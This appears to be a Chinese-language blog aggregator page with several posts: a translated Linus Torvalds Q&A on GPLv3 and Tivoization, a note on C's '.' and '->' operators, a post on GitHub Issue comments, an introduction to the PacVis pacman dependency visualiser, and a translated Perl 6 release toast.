Tivoization 是 FSF 發明的一個詞,表示 TiVo 的做法。 TiVo 是一個生產類似電視機頂盒之類的設備的廠商,他們在他們的設備中用到了 Linux 內核和很多別的開源組件,並且他們根據 GPLv2 協議開放了他們使用的組件的源代碼。 然而他們在他們出售的設備中增加了數字簽名,驗證正在執行的系統和軟件是他們自己 編制的軟件,從而限制了用戶修改運行軟件的自由。這種做法在 FSF 看來是鑽了 GPLv2 的法律上的空子,所以 FSF 提出了 GPLv3 封堵這種做法。
L: Ehmm, yeah the Tivoization is always my main, eh dislike of version 3. And, the FSF was being very dishonest thing. "Hey, we actually allow you to invalidate the Tivoization clause" and they tried to, they literally lied to people, and say "Hey, so that means that you can use GPLv3 without the Tivoization part", right. This is ... How many people heard this particular statement from the FSF? (Please raise your hands)

L: 沒錯,Tivoization 的事情一直是我反對版本 3 的主要根據。並且,FSF 在這件事上表現得極不誠實。「嘿,其實我們允許你無效化 Tivoization 條款」,這樣他們試圖, 應該說他們是在明白着欺騙別人,並且說「嘿,這意味着你可以使用除去 Tivoization 部分的 GPLv3」。 這很……在場的諸位中有誰從 FSF 那兒聽過這個說法?(請舉手)

Ok, maybe they only tried to convince me with that one. But they did try. And it was like, "I'm not stupid", right. Yes, you can ... The GPLv3 allows you to say "Ok, Tivoization is not an issue for us". But it allows somebody else to take the project, and say "Hey, I ... The GPLv3 without Tivoization is compatible with the full GPLv3, so I will now make my own fork of this, and I will start doing drivers that use the full version of version 3" And where am I stuck then? I am stuck saying "Hey I give you the source code, and now I can't take it back your changes". That's completely against the whole point of the license in the first place.

好吧,或許他們只試過對我用這套說辭,但是他們真的試過。我的反應是「我可不傻」,對吧。是的, 的確你可以…… GPLv3 允許你說「好, Tivoization 的事情對我們來說不是問題」, 但是它同時又允許別人接過這個項目,並且說「嘿,我覺得……去掉了 Tivoization 的 GPLv3 是兼容完整的 GPLv3 的,所以我可以 fork 這個項目,然後我將在自己的 fork 上用完整的 GPLv3 寫驅動。」然後我就囧了。我的困境在於說「嘿,我給了你我的源代碼,現在我卻不能拿回你對它 的修改了」。這是徹底違背了我用這個協議最初的目的了。

So the FSF was, I mean the kind of stuff that was going on behind the scenes, ah, made me once and for all to decide to never had any thing to do with the FSF again. So if you wanted to give money to an organization that does good? Give it to the EFF. The FSF is full of crazy bittered people. That's just mine opinion. Uh, actually I have ... Ah ... I overstated that a bit, right. The FSF has a lot of nice people in it, but some of them are bit too extreme.

所以 FSF 是,我是說那時他們暗地裏做的那些事情,讓我當下決定永遠不再和 FSF 有任何瓜葛。 所以如果你想捐錢給一個行善的組織,那就捐給 EFF 吧。FSF 充滿了瘋狂難處的人。這只是我的觀點。 呃其實我……嗯……我說得有點過分了。FSF 裏有很多不錯的人,不過其中有些人有點過激。

Q: Well I wish the EFF care more about software freedom. But, uh, can you ... Do you think that Tivoization benefits me as a user somehow?

問: 嗯我也希望 EFF 能更多的關注於軟件的自由方面。但是你能……你覺得 Tivoization 這種行爲也能在某種方式上讓我作爲用戶獲益麼?

L: No, no I don't. I mean that ... But that was never my argument. That was not why I selected the GPLv2. This is my whole point. It's not that I think Tivoization is necessarily something that you should strive for. But it is something that in my world view, it's your decision. If you make hardware that locks down the software, that's your decision as a hardware maker. That has no impact on my decision as a software maker to give you the software. Do you see where I am coming from? I don't like the locked down hardware, but at the same time that was never the social contract I intended with Linux.

L: 不,我不覺得。我的意思是……這從來都不是我的論據,這不是我選擇了 GPLv2 的理由。 並不是說我覺得 Tivoization 是某種值得你去爭取的權利,而是說在我的世界觀中,這是你的決定。 如果你生產硬件去鎖住了其中的軟件,這是你作爲一個硬件提供者的決定。 這完全不影響我作爲一個軟件提供者給你軟件的決定。你能看出我的立場在哪兒了麼? 我不喜歡上鎖的硬件,但是同時這也從來不是我想要給 Linux 加上的的社會契約。

To me, umm, I mean, people may or may not realize GPLv2 wasn't even the first license for Linux. To me the important part was always "I give you software, you can do whatever you want with it. If you making improvements, you have to give them back." That was the first version of the license. It also had a completely broken clause which was completely insane and I was stupid. Hey it happened. My origin license says that you can't make money change hands. And that was a mistake. That was clearly just wrong and bad because it really didn't have anything to do with what I wanted. But I was young, I was poor, I didn't realize that the whole money thing wasn't the important part. And I have saw the errors in my ways, I saw the GPLv2 and said "Hey, that's the perfect license". And I saw the GPLv3 and I said "No, that's overreaching a lot, that's not what I wanted". And so I made Linux GPLv2 only, right.

對我來說,呃我想說,大家可能知道或者不知道, GPLv2 並不是 Linux 的最初的協議。 對我來說重要的部分一直是「我給你軟件,你可以用它做任何你想要做的事情。如果你做了任何改進, 你需要把它交還給我。」這是協議最初的樣子。最早的協議還有一條完全錯誤的條款,寫得完全不合理, 那時我很傻。嘿我也傻過。我最初的協議說你不能用它賺錢。這是失策,這明顯是不對的不好的, 因爲它和我真正想要做的事情沒有任何關係。但是那時我很傻很天真, 我沒意識到錢的事情在其中完全不重要。然後我發現了其中的問題,我看到了 GPLv2 然後說「嘿, 這是個完美的協議」。然後我看到了 GPLv3 我說「不,這做得過分了,這不是我想要的」 所以我讓 Linux 成爲了僅限 GPLv2 ,對吧。

Q: So do you think getting the patches back is as useful even if you can't modify the device that it is used on?

問: 所以你是否認爲,即使你不能修改跑着這個軟件的設備,拿回對軟件的修改也還是同樣重要的?

L: Yeah, absolutely. And I mean TiVo itself is actually an example of this. Their patches were kind of crafty but I mean they were basically running on a, originally a fairly standard MIPS thing. And their patches were working around bugs in the chipsets they used. And they were valid patches. The fact that they then felt that their hardware had to be locked down someway. I didn't like it. But as I have mentioned, I felt that that was their decision.

L: 是的,當然。我想說 TiVo 它自己實際上就是一個例子。他們的修改有點複雜,但是我想說他們基本 是,一開始基本是運行在一套相當標準的 MIPS 設備上。然後他們的修改是想繞開他們用到的芯片上的 一些問題,並且這些是合格的修改。之後的事情是他們覺得他們需要鎖住他們的硬件,我不喜歡這個。 但是就像我已經說的,我覺得這是他們的決定。

And they had real reasons for that. That's something people sometimes missed. There are sometimes reasons to do what TiVo did. Sometimes it's imposed on you by, wireless carriers. Sometimes it's imposed on you by Disney. Uh sometimes it's imposed on you by laws. The GPLv3 actually accepts the last one when it comes to things like medical equipment I think. But the point is that the whole Tivoization thing is, sometimes it's, there is a reason for it. And if you make ... I mean I am not a hardware designer. I think FPGA and stuff like that is really cool. But I always ... I mean I really don't want to impose my world view on anybody else. You don't have to use Linux. If you do use Linux, the only thing I asked for is source code back. And there is all these other verbiages in the GPLv2 about exact details, those aren't important. And that was always my standpoint.

並且他們有真正的理由去這麼做。這是有時人們忽視的地方。有時是真的有理由去做 TiVo 他們做的事情。有時強加給你這種限制的是,無線運營商。有時強加給你的是迪士尼。 有時強加給你限制的甚至是法律。 GPLv3 在醫療設備之類的場合其實允許最後一種情況,我記得。 我的觀點是,整個 Tivoization 的事情有時是有理由去這麼做的。如果你生產…… 我是說我不是硬件設計者,我覺得 FPGA 之類的東西很酷,但是我……我的意思是我真的不想把我對世界的 看法強加給別人。你不是非得要用 Linux ,如果你想要用 Linux ,那麼我唯一要求你做的事情是把源代碼(變更)還給我。然後在 GPLv2 中還有很多繁文縟節規定了詳細的細節,這些都不重要。這是我一直以來的觀點。

Q: Ok, well I will stop my non-point of making noise now.

問: 好吧那我就不浪費時間了。

譯註: 關於 ISC 協議
ISC 協議是一個開源軟件協議,和兩句的 BSD 協議功能相同。OpenBSD 項目選擇儘量用 ISC 協議公開他們新寫的代碼。
L: I mean don't get me ... I mean I like other licenses too. I have used like the four, emmm... Which BSD license is the acceptable one? One of the BSD license is actually really nice. And it's actually the... What?

L: 我的意思是別誤解……我也喜歡別的協議。我用過……到底是哪個 BSD 協議是可以接受的? 有一個 BSD 協議實際上非常不錯。它實際上是……什麼?

A: ISC

觀衆: ISC

L: ISC? And I actually encourage people who don't care about the giving code back but care about the "Hey, I did something cool, please use it". I encourage people to use the BSD license for that. And I mean the BSD license is wonderful for that. It so happens that I thought that for my project the giving back is equally important so I, for me BSD is bad. But the point is for me. The GPLv3 maybe the perfect license for what you guys want to do. And that's fine. And then it's the license you should use. It's just that when somebody else wrote the code you don't get that choice.

L: ISC?並且事實上我在鼓勵那些不在意拿回修改但是在意「嘿,我做了一個很酷的東西,請用它」。 我鼓勵這些人去用 BSD 協議做這些事情。我想說 BSD 協議在這種場合是完美的。 只是碰巧我覺得對於我的項目,拿回修改也同樣重要,所以對我而言 BSD 不好。但是重點是 對我而言 。 GPLv3 可能對你們想要做的事情而言是完美的協議,這很好,並且這時你就應該去用 GPLv3 。只是當代碼是別人寫的時候,你沒有這個選擇權。

by farseerfc at August 08, 2016 07:15 AM

August 07, 2016

farseerfc

C语言中“.”与“->”有什么区别?

知乎 轉載

轉載幾篇知乎上我自己的回答,因爲不喜歡知乎的排版,所以在博客裏重新排版一遍。

原問題:C语言中“.”与“->”有什么区别?

除了表达形式有些不同,功能可以说完全一样阿。那为何又要构造两个功能一样的运算符? 效率有差异?可是现在编译器优化都那么强了,如果真是这样岂不是有些多此一举


刚刚翻了下书,说早期的C实现无法用结构直接当作参数在函数间传递,只能用指向结构的指针在函数间进行传递!我想这应该也是最直观的原因吧。

我的回答

首先 a->b 的含義是 (*a).b ,所以他們是不同的,不過的確 -> 可以用 * . 實現,不需要單獨一個運算符。 嗯,我這是說現代的標準化的 C 語義上來說, -> 可以用 * . 的組合實現。

早期的 C 有一段時間的語義和現代的 C 的語義不太一樣。

稍微有點彙編的基礎的同學可能知道,在機器碼和彙編的角度來看,不存在變量,不存在 struct 這種東西,只存在寄存器和一個叫做內存的大數組。

所以變量,是 C 對內存地址的一個抽象,它代表了一個位置。舉個例子,C 裏面我們寫:

a = b

其實在彙編的角度來看更像是

*A = *B

其中 A 和 B 各是兩個內存地址,是指針。

好,以上是基本背景。

基於這個背景我們討論一下 struct 是什麼,以及 struct 的成員是什麼。 假設我們有

struct Point {
        int x;
        int y;
};
struct Point p;
struct Point *pp = &p;

從現代語義上講 p 就是一個結構體對象, x y 各是其成員,嗯。

從彙編的語義上講, p 是一個不完整的地址,或者說,半個地址,再或者說,一個指向的東西是虛構出來的地址。而 x y 各是在 Point 結構中的地址偏移量。也就是說,必須有 p x 或者 p y 同時出現,才形成一個完整的地址,單獨的一個 p 沒有意義。

早期的 C 就是在這樣的模型上建立的。所以對早期的 C 而言, *pp 沒有意義,你取得了一個 struct ,而這個 struct 不能塞在任何一個寄存器裏,編譯器和 CPU 都無法表達這個東西。

這時候只有 p.x p.y 有意義,它們有真實的地址。

早期的 C 就是這樣一個看起來怪異的語義,而它更貼近機器的表達。 所以對早期的 C 而言,以下的代碼是對的:

p.x = 1;
int *a;
a = &(p.x);

而以下代碼是錯的:

(*pp).x = 1;

因爲作爲這個賦值的目標地址表達式的一部分, *pp ,這個中間結果沒法直譯到機器碼。

所以對早期的 C 而言,對 pp 解引用的操作,必須和取成員的偏移的操作,這兩者緊密結合起來變成一個單獨的操作,其結果纔有意義。

所以早期的 C 就發明了 -> ,表示這兩個操作緊密結合的操作。於是纔能寫:

pp->x = 1;

嗯,這就是它存在的歷史原因。 而這個歷史原因現在已經不重要了,現代的符合標準的 C 編譯器都知道 (*pp).x pp->x 是等價的了。

說句題外話, C++ 裏面還發明了 .* ->* 這兩個運算符(注意 ->* 不是單獨的 -> * 並排放的意思),關於爲什麼要發明這兩個運算符,而不能直接說 a ->* b 的意思就是 a ->(*b) ,這個就作爲課堂作業吧。

by farseerfc at August 07, 2016 03:02 PM

啓用 GitHub Issue 作爲博客留言系統

從今天起本博客將啓用 GitHub Issue 作爲留言系統。 原本使用的 Disqus 將繼續保留一段時間,目前沒有關閉的計劃。

換用 GitHub Issue 是計劃了好久的事情了,最初重做這個主題的時候就有考慮過。 這個想法的契機是看到了這篇 GitHub hosted comments for GitHub hosted blogs ,然後立馬覺得這個想法很符合寄宿在 GitHub Pages 上的博客。 一個限制是要求評論者必須有 GitHub 賬戶,考慮到我的博客的受衆這個要求估計不算太過分。 使用 GitHub Issue 的好處麼,比如自帶的 GFMD 富文本格式,郵件通知,還有訂閱和取消訂閱通知,郵件回復, 這些方面都不比第三方留言系統遜色。

換用 GitHub Issue 另一方面原因是最近聽說 Disqus 被部分牆了,想必以後牆也會越來越高。之前曾經試過在這個博客換上多說, 然而效果我並不喜歡,多說喜歡侵入頁面加很多奇怪的東西,比如用戶的頭像通常是 http 的……也試過結合新浪微博的評論,而新浪微博越來越封閉,API 也越來越不靠譜。

使用 GitHub Issue 作爲評論的方式比較簡單,上面那篇博客裏面提到了,代碼量不比 加載 Disqus 多多少,而且沒有了 iframe 的困擾,唯一麻煩的地方就是要稍微設計一下佈局方式讓它融入 現有的頁面佈局。 我參考上面的實現在這裏 。 這個加載代碼使用兩個變量加載 Issue Comments ,一個是在 pelicanconf.py 裏的 GITHUB_REPO ,可以指向任何 Repo ,我指向 farseerfc/farseerfc.github.io 的這個 GitHub Page repo ,另一個變量是每篇文章裏需要加上 issueid 的元數據,關連文章到每個 Issue 上。

還有一個稍微麻煩的事情是現在每寫一篇文章之後都要新建一個 issue 了。 手動操作有點累人,於是我 寫了個腳本 自動搜索 pelican 的 content 文件夾裏面文章的 slug 並且對沒有 issueid 關連的 文章創建 issue 。

好啦新的留言系統的外觀樣式還在測試中,希望大家多留言幫我測試一下!

2016年8月7日19:30更新

新增了對 GitHub Issue comments 裏面 reactions 的支持,套用 font-awesome 的圖標(似乎沒 GitHub 上的圖標好看)。這個還屬於 GitHub API 的實驗性功能,要加入 Accept: application/​vnd.github.squirrel-girl-preview HTTP 頭纔能拿到。

2016年8月7日23:16更新

感謝 @iovxw 的測試讓我發現 github 的高亮回復和郵件回復是需要特殊處理的。 高亮回復用上了 這裏的 CSS 郵件引言的展開事件直接用 jQuery 做了:

    $(".email-hidden-toggle > a").on("click", function (e){
  e.preventDefault();
  $(".email-hidden-reply", this.parent).toggle();
});

還得注意郵件的回復需要 CSS 裏面 white-space: pre-wrap

by farseerfc at August 07, 2016 07:28 AM

July 30, 2016

farseerfc

PacVis: 可視化 pacman 本地數據庫

PacVis
Demo of PacVis

我爲什麼要做 PacVis

我喜歡 Arch Linux ,大概是因爲唯有 Arch Linux 能給我對整個系統「瞭如指掌」的感覺。 在 Arch Linux 裏我能清楚地知道我安裝的每一個包,能知道系統裏任何一個文件是來自哪個包, 以及我爲什麼要裝它。或許對 Debian/Fedora/openSUSE 足夠熟悉了之後也能做到這兩點, 不過他們的細緻打包的結果通常是包的數量比 Arch 要多個 3 到 10 倍,並且打包的細節也比 Arch Linux 簡單的 PKGBUILD 要複雜一個數量級。

每一個裝過 Arch Linux 的人大概都知道,裝了 Arch Linux 之後得到的系統非常樸素,按照 ArchWiki 上的流程一路走下來的話,最關鍵的一條命令就是 pacstrap /​mnt base , 它在 /​mnt 裏作爲根調用 pacman -S base 裝上了整個 base 組, 然後就沒有然後了。這個系統一開始空無一物,你需要的任何東西都是後來一點點用 pacman 手動裝出來的,沒有累贅,按你所需。

然而時間長了,系統中難免會有一些包,是你裝過用過然後忘記了, 然後這些包就堆在系統的角落裏,就像家裏陳年的老傢俱,佔着地,落着灰。雖然 pacman -Qtd 能方便地幫你找出所有 曾經作爲依賴被裝進來,而現在不被任何包依賴 的包,但是對於那些你手動指定的包, 它就無能爲力了。

於是我就一直在找一個工具能幫我梳理系統中包的關係,方便我:

  1. 找出那些曾經用過而現在不需要的包
  2. 找出那些體積大而且佔地方的包
  3. 釐清系統中安裝了的包之間的關係

關於最後一點「釐清包的關係」,我曾經看到過 macOS 系統架構圖 和 Android 的系統架構圖,對其中的層次化架構印象深刻,之後就一直在想,是否能畫出現代 Linux 桌面系統上類似的架構圖呢?又或者 Linux 桌面系統是否會展現完全不同的樣貌? 從維基百科或者別的渠道能找到 Linux 內核、或者 Linux 圖形棧, 或者某個桌面環境的架構,但是沒有找到覆蓋一整個發行版的樣貌的。 於是我便想,能不能從包的依賴關係中自動生成這樣一張圖呢。

PacVis的老前輩們

在開始寫 PacVis 之前,我試過一些類似的工具,他們都或多或少能解決一部分我的需要, 又在某些方面有所不足。這些工具成爲了 PacVis 的雛形,啓發了 PacVis 應該做成什麼樣子。

pactree

pactree 曾經是一個 獨立的項目 ,現在則是 pacman 的一部分 了。 從手冊頁可以看出, pactree 的輸出是由某個包開始的依賴樹。 加上 --graph 參數之後 pactree 還能輸出 dot 格式的矢量圖描述,然後可以用 dot 畫出依賴圖:

pactree pacvis-git -d3 --graph | dot -Tpng >pacvis-pactree.png
pactree --graph
$ pactree pacvis-git -d3
pacvis-git
├─python-tornado
│ └─python
│   ├─expat
│   ├─bzip2
│   ├─gdbm
│   ├─openssl
│   ├─libffi
│   └─zlib
├─pyalpm
│ ├─python
│ └─pacman
│   ├─bash
│   ├─glibc
│   ├─libarchive
│   ├─curl
│   ├─gpgme
│   ├─pacman-mirrorlist
│   └─archlinux-keyring
└─python-setuptools
  └─python-packaging
    ├─python-pyparsing
    └─python-six
 $ pactree pacvis-git -d3 --graph | dot -Tpng >pacvis-pactree.png

從畫出的圖可以看出,因爲有共用的依賴,所以從一個包開始的依賴關係已經不再是一棵 圖論意義上的樹(Tree) 了。最初嘗試做 PacVis 的早期實現的時候,就是試圖用 bash/python 腳本解析 pactree 和 pacman 的輸出,在 pactree 的基礎上把整個系統中所有安裝的包全都包含到一張圖裏。 當然後來畫出的結果並不那麼理想,首先由於圖非常巨大,導致 dot 的自動佈局要耗費數小時,最後畫出的圖也過於巨大基本上沒法看。

然而不得不說沒有 pactree 就不會有 PacVis ,甚至 pacman 被分離出 alpm 庫也和 pactree 用 C 重寫的過程有很大關係,而 PacVis 用來查詢 pacman 數據庫的庫 pyalpm 正是 alpm 的 Python 綁定。因爲 pactree 的需要而增加出的 alpm 庫奠定了 PacVis 實現的基石。

pacgraph

pacgraph 的輸出
pacgraph

pacgraph 是一位 Arch Linux 的 Trusted User keenerd 寫的程序,和 PacVis 一樣也是用 Python 實現的。 比起 pactree , pacgraph 明顯更接近我的需求,它默認繪製整個系統的所有安裝包, 並且用聰明的佈局算法解決了 dot 佈局的性能問題。

pacgraph 的輸出是一個富有藝術感的依賴圖,圖中用不同的字體大小表示出了每個包佔用 的磁盤空間。通過觀察 pacgraph 的輸出,我們可以清楚地把握系統全局的樣貌, 比如一眼看出這是個桌面系統還是個服務器系統,並且可以很容易地發現那些佔用磁盤空間 巨大的包,考慮清理這些包以節約空間。

更棒的是 pacgraph 還提供了一個交互性的 GUI 叫做 pacgraph-tk ,顯然通過 tk 實現。 用這個 GUI 可以縮放觀察整幅圖的細節,或者選中某個包觀察它和別的包的依賴關係。

pacgraph 還支持通過參數指定只繪製個別包的依賴關係,就像 pactree 那樣。

不過 pacgraph 也不是完全滿足我的需要。如我前面說過,我希望繪製出的圖能反應 這個發行版的架構面貌 ,而 pacgraph 似乎並不區別「該包依賴的包」和「依賴該包的包」 這兩種截然相反的依賴關係。換句話說 pacgraph 畫出的是一張無向圖, 而我更想要一張有向圖,或者說是 有層次結構的依賴關係圖

於是就有了 PacVis

PacVis 剛打開的樣子
PacVis on startup

總結了老前輩們的優勢與不足,我便開始利用空餘時間做我心目中的 PacVis 。 前後斷斷續續寫了兩個月,又分爲兩個階段,第一階段做了基本的功能和雛形, 第二階段套用上 https://getmdl.io/ 的模板,總算有了能拿得出手給別人看的樣子。

於是乎前兩天在 AUR 上給 pacvis 打了個 pacvis-git 包,現在想在本地跑 pacvis 應該很方便了,用任何你熟悉的 aurhelper 就可以安裝,也可以直接從 aur 下載 PKGBUILD 打包:

~$ git clone aur@aur.archlinux.org:pacvis-git.git
~$ cd pacvis-git
~/pacvis-git$ makepkg -si
~/pacvis-git$ pacvis
Start PacVis at http://localhost:8888/

按照提示說的,接下來打開瀏覽器訪問 http://localhost:8888/ 就能看到 PacVis 的樣子了。僅僅作爲嘗試也可以直接打開跑在我的服務器上的 demo: https://pacvis.farseerfc.me/ ,這個作爲最小安裝的服務器載入速度大概比普通的桌面系統快一點。

在 Windows msys2 跑 PacVis
PacVis on Windows msys2

另外補充一下,因爲 PacVis 只依賴 pyalpm 和 tornado ,所以在別的基於 pacman 的系統上跑它應該也沒有任何問題,包括 Windows 上的 msys2 裏(儘管在 msys2 上編譯 tornado 的包可能要花些功夫)。

PacVis 的圖例和用法

操作上 PacVis 仿照地圖程序比如 Google Maps 的用法,可以用滾輪或者觸摸屏的手勢 縮放、拖拽,右上角有個側邊欄,不需要的話可以點叉隱藏掉,右下角有縮放的按鈕和 回到全局視圖的按鈕,用起來應該還算直觀。

PacVis showing pacvis-git

pacvis-git 包的依賴

先解釋圖形本身,整張圖由很多小圓圈的節點,以及節點之間的箭頭組成。 一個圓圈就代表一個軟件包,而一條箭頭代表一個依賴關係。縮放到細節的話, 能看到每個小圓圈的下方標註了這個軟件包的名字,鼠標懸浮在圓圈上也會顯示相應信息。 還可以點開軟件包,在右側的邊欄裏會有更詳細的信息。

比如圖例中顯示了 pacvis-git 自己的依賴,它依賴 pyalpm, python-tornado 和 python-setuptools ,其中 pyalpm 又依賴 pacman 。圖中用 紫色 表示手動安裝的包, 橙色 表示被作爲依賴安裝的包, 箭頭的顏色也隨着包的顏色改變。

值得注意的是圖中大多數箭頭都是由下往上指的,這是因爲 PacVis 按照包的依賴關係做 了拓撲排序,並且給每個包賦予了一個拓撲層級。比如 pacvis-git 位於 39 層,那麼它依賴的 pyalpm 就位於 38 層,而 pyalpm 依賴的 pacman 就位於 37 層。根據層級關係排列包是 PacVis 於 pacgraph 之間最大的不同之處。

除了手動縮放, PacVis 還提供了搜索框,根據包名快速定位你感興趣的包。 以及在右側邊欄中的 Dep 和 Req-By 等頁中,包的依賴關係也是做成了按鈕的形式, 可以由此探索包和包之間的關聯。

最後稍微解釋一下兩個和實現相關的參數:

Max Level

這是限制 PacVis 載入的最大拓撲層。系統包非常多的時候 PacVis 的佈局算法會顯得很慢,限制層數有助於加快載入,特別是在調試 PacVis 的時候比較有用。

Max Required-By

這是限制 PacVis 繪製的最大被依賴關係。稍微把玩一下 PacVis 就會發現系統內絕大多數 的包都直接依賴了 glibc 或者 gcc-libs 等個別的幾個包,而要繪製這些依賴的話會導致 渲染出的圖中有大量長直的依賴線,不便觀察。於是可以通過限制這個值,使得 PacVis 不繪製被依賴太多的包的依賴關係,有助於讓渲染出的圖更易觀察。

從 PacVis 能瞭解到的一些事實

一個 KDE 桌面的 PacVis 結果全圖, 放大(17M)
A normal KDE desktop in PacVis

稍微玩一下 PacVis 就能發現不少有趣現象,上述「絕大多數包依賴 glibc 」就是一例。 除此之外還有不少值得玩味的地方。

依賴層次

系統中安裝的包被明顯地分成了這樣幾個層次:

  • glibc 等 C 庫
  • Bash/Perl/Python 等腳本語言
  • coreutils/gcc/binutils 等核心工具
  • pacman / systemd 等較大的系統工具
  • gtk{2,3}/qt{4,5} 等 GUI toolkit
  • chromium 等 GUI 應用
  • Plasma/Gnome 等桌面環境

大體上符合直觀的感受,不過細節上有很多有意思的地方,比如 zsh 因爲 gdbm 間接依賴了 bash,這也說明我們不可能在系統中用 zsh 完全替代掉 bash。 再比如 python (在 Arch Linux 中是 python3)和 python2 和 pypy 幾乎在同一個拓撲層級。

zsh depends on bash because of gdbm

zsh 因爲 gdbm 間接依賴了 bash

不過偶爾顯示的依賴層級不太符合直觀,比如 qt5-base < qt4 < gtk2 < gtk3 。 qt5 因爲被拆成了數個包所以比 qt4 更低級這可以理解,而 gtk 系比 qt 系更高級這一點是很多人(包括我)沒有預料到的吧。

循環依賴

有些包的依賴關係形成了循環依賴,一個例子是 freetype2 和 harfbuzz,freetype2 是繪製字體的庫,harfbuzz 是解析 OpenType 字形的庫,兩者對對方互相依賴。 另一個例子是 KDE 的 kio 和 kinit,前者提供類似 FUSE 的資源訪問抽象層, 後者初始化 KDE 桌面環境。

freetype2 harfbuzz

freetype2 和 harfbuzz 之間的循環依賴

因爲這些循環依賴的存在,使得 PacVis 在實現時不能直接拓撲排序,我採用環探測 算法找出有向圖中所有的環,並且打破這些環,然後再使用拓撲排序。 因此我在圖中用紅色的箭頭表示這些會導致環的依賴關係。

有些包沒有依賴關係

PacVis Level 0

man-pages 和 licenses 沒有依賴關係

有些包既不被別的包依賴,也不依賴別的包,而是孤立在整張圖中,比如 man-pages 和 licenses 。這些包在圖中位於最頂端,拓撲層級是 0 ,我用 藍色 正方形特別繪製它們。

只看依賴關係的話 Linux 內核完全不重要

所有用戶空間的程序都依賴着 glibc ,而 glibc 則從定義良好的 syscall 調用內核。 因此理所當然地,如果只看用戶空間的話, glibc 和別的 GNU 組件是整個 GNU/Linux 發行版的中心,而 Linux 則是位於依賴層次中很深的位置,甚至在我的 demo 服務器上 Linux 位於整個圖中的最底端,因爲它的安裝腳本依賴 mkinitcpio 而後者依賴了系統中的衆多組件。

pacman -Qtd 不能找到帶有循環依賴的孤兒包

pacman -Qtd cannot find packages with circle dependency

msys2 中帶有循環依賴的孤兒包

這是我在 msys2 上測試 PacVis 的時候發現的,我看到在渲染的圖中有一片羣島, 沒有連上任何手動安裝的包。這種情況很不正常,因爲我一直在我的所有系統中跑 pacman -Qtd 找出孤兒包並刪掉他們。放大之後我發現這些包中有一條循環依賴, 這說明 pacman -Qtd 不能像語言的垃圾回收機制那樣找出有循環依賴的孤兒包。

PacVis 的未來

目前的 PacVis 基本上是我最初開始做的時候設想的樣子,隨着開發逐漸又增加了不少功能。 一些是迫於佈局算法的性能而增加的(比如限制層數)。

今後準備再加入以下這些特性:

  1. 更合理的 optdeps 處理。目前只是把 optdeps 關係在圖上畫出來了。
  2. 更合理的 依賴關係抉擇 。有時候包的依賴關係並不是直接根據包名,而是 provides 由一個包提供另一個包的依賴。目前 PacVis 用 alpm 提供的方式抉擇這種依賴,於是這種關係並沒有記錄在圖上。
  3. 目前的層級關係沒有考慮包所在的倉庫 (core/extra/community/...) 或者包所屬的組。 加入這些關係能更清晰地表達依賴層次。
  4. 目前沒有辦法只顯示一部分包的關係。以後準備加入像 pactree/pacgraph 一樣顯示部分包。

如果你希望 PacVis 出現某些有趣的用法和功能,也 請給我提 issue

by farseerfc at July 30, 2016 06:52 PM

December 26, 2015

pugs

期待已久的意外派對

Camelia-small

哈囉。叮、叮、叮,注意!……注意!

謝謝。

嗨,如果你不認識我(就算認識也一樣),我是 Camelia。人們叫我在 Perl 6 正式現身的派對上發表談話,所以我就在這囉。有其他人負責燒烤,我只是來敬酒的。他們跟我說這次說話要認真一點。哈,說得好像我知道怎麼認真講話一樣。認真的嗎?

好吧。認真說來,我要謝謝你們大家今天一起出櫃。

啊,那好像有點雙關。抱歉。呃,也沒什麼好抱歉的啦……

但還是謝謝你們來這裡,這是 Perl 6 的大日子。她這下可正式成年了。嗯……差不多啦。總之她駕照已經到手了。當心了,世界!

[從後面桌子傳來聽不見的議論]

喔,我不該提到這個嗎?我都還沒真的談到那些小事故耶,當時她……好吧,算了。我們繼續。我相信她會是個好駕駛的。從現在開始。

總之,我真的對 Perl 6 非常感同身受,因為我是隻蝴蝶。我也不得不在蛹裡忍住很久的時間,等到出來的那一天。我真的是非出櫃不可。哈,應該說是飛出櫃吧!

呃,唉呀。我又來了,是吧。

總之,請對 Perl 6 有點耐心。雖然我們今天宣稱她長大了,但你也知道,她還只是青少年。當我們很小的時候,就只是那年紀的小鬼,但當我們成為青少年,歷經賀爾蒙的變化時,這個嘛,我們就會開始不穩定了。這種不穩定的程度,有一陣子會顯得更嚴重。在 15 歲的時候,這種不穩定的幅度可能是正負 10 年。某天的舉止就像是 25 歲,隔天又像是 5 歲一樣。

所以 Perl 6 還需要再更加成熟,這當然囉。我的意思不是在她亂發脾氣把我們逼瘋的日子裡我們就比較不愛她,我的意思是,呃,我想我的意思是她就是家人,而不論甘苦你都會愛著家人的。因為你相信,總有一天會苦盡甘來。

而我們都是她的大家族,今天在這裡相聚。人們說撫養一個小孩需要一座村莊,但從來沒有過這樣的小孩或這樣的村莊!如果你明天宿醉消退後,有機會看看程式碼,也請看看背後的貢獻者列表。超過 800 人積極地為 Perl 6 的開發提供協助,以各種方式。當然一定還有些名字沒列在上面。

你們是很重要的一群人,你們所有人都是,不只是家族中親近的那些人。我們家族從很久以前就知道,成長中的電腦語言所能得到的最珍貴指引,有些來自於直系親屬之外。朋友和熟人,有時比朝夕相處的人能擁有更大的視野。這就是為什麼會需要一座村莊。

「成熟」這件事就像碎形,會在許多尺度下進行。Perl 6 透過你們認識她即將進入的寬廣世界,外頭的世界充滿挑戰。Perl 6 對其中某些情況已做好準備,這多虧了你們。

當然,她還只有 15 歲。某些事情她已經做得很好了。她的溝通技巧非常棒,當不懂你的意思時也很有禮貌。她可以同時進行許多對話。她數學很好,也相當擅長處理各種物件。她熱愛外語,以及那些奇妙的字符。

但她仍是個慎重的孩子,在學習事物時有時似乎思考得太努力了。沒關係,在接下來幾年她會變得更快並更有效率,因為她的腦袋正在重組成完全的大人。她會學到新的東西,關於這個世界和自己。但我不認為她的性格會有太大的變化,這點是很明顯的。

而這是因為她的性格其實來自於大家。是你們的愛讓她誕生,而現在她準備要把這些愛,傳達給還不認識她的人。

火箭升空時我們都會很興奮。TimToady 告訴我在凌晨起床看水星號、雙子星號和阿波羅火箭升空的事。我還太小不記得那些,但我們有自己的刺激進展可以追蹤。我的話,我很高興看到這禮拜 SpaceX 成功降落。在經過一些小事故後……

[又一陣聽不見的議論]

我不理你。小心了,我們已經非常非常擅長不理會某些人。別成為他們之中的一份子。

真的,我為那些只在不開心的事出現時才開心的人感到遺憾。

總之,向世界推出 Perl 6 就像火箭升空。倒數時非常興奮,還有不知道會升空還是爆炸的屏息時刻。我們現在就是如此。主推進器已經點著了,固定器也鬆開了。這些都很戲劇化,主要是因為此刻看來並沒有真的發生什麼事。

